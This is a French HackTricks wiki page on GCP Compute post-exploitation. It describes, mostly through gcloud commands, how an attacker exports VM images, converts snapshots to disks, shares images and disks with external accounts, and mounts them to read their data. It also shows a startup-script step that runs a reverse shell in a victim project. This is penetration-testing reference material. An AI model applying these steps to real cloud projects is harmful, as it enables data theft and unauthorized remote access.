GCP - Post Exploitation Compute

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Compute

Pour plus d'informations sur Compute et VPC (Réseautage), consultez :

GCP - Compute Enum

Exporter et inspecter les images localement

Cela permettrait à un attaquant d'accéder aux données contenues dans des images déjà existantes ou de créer de nouvelles images de VMs en cours d'exécution et d'accéder à leurs données sans avoir accès à la VM en cours d'exécution.

Il est possible d'exporter une image de VM vers un bucket, puis de la télécharger et de la monter localement avec la commande :

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Pour effectuer cette action, l'attaquant pourrait avoir besoin de privilèges sur le bucket de stockage et certainement de privilèges sur cloudbuild, car c'est le service qui sera demandé pour effectuer l'exportation.
De plus, pour que cela fonctionne, le SA codebuild et le SA compute ont besoin de permissions privilégiées.
Le SA cloudbuild <project-id>@cloudbuild.gserviceaccount.com a besoin de :

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

Et le SA <project-id>-compute@developer.gserviceaccount.com a besoin de :

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

Exporter et inspecter les instantanés et disques localement

Il n'est pas possible d'exporter directement des instantanés et des disques, mais il est possible de transformer un instantané en disque, un disque en image et, suivant la section précédente, d'exporter cette image pour l'inspecter localement.

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Inspecter une image en créant une VM

Dans le but d'accéder aux données stockées dans une image ou à l'intérieur d'une VM en cours d'exécution depuis laquelle un attaquant a créé une image, il est possible d'accorder à un compte externe l'accès à l'image :

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

et ensuite créez une nouvelle VM à partir de cela :

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Si vous ne pouviez pas donner l'accès à votre compte externe via l'image, vous pourriez lancer une VM en utilisant cette image dans le projet de la victime et faire exécuter un reverse shell par les métadonnées pour accéder à l'image en ajoutant le paramètre :

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspecter un instantané/un disque en l'attachant à une VM

Avec l'objectif d'accéder aux données stockées dans un disque ou un instantané, vous pourriez transformer l'instantané en disque, un disque en image et suivre les étapes précédentes.

Ou vous pourriez accorder l'accès à un compte externe sur le disque (si le point de départ est un instantané, accordez l'accès sur l'instantané ou créez un disque à partir de celui-ci) :

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Attacher le disque à une instance :

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Montez le disque à l'intérieur de la VM :

  1. SSH dans la VM :
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Identifiez le disque : Une fois à l'intérieur de la VM, identifiez le nouveau disque en listant les périphériques de disque. En général, vous pouvez le trouver sous /dev/sdb, /dev/sdc, etc.
  2. Formatez et montez le disque (s'il s'agit d'un nouveau disque ou d'un disque brut) :
  • Créez un point de montage :
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Montez le disque :
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Si vous ne pouvez pas donner accès à un projet externe au snapshot ou au disque, vous devrez effectuer ces actions à l'intérieur d'une instance dans le même projet que le snapshot/disque.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks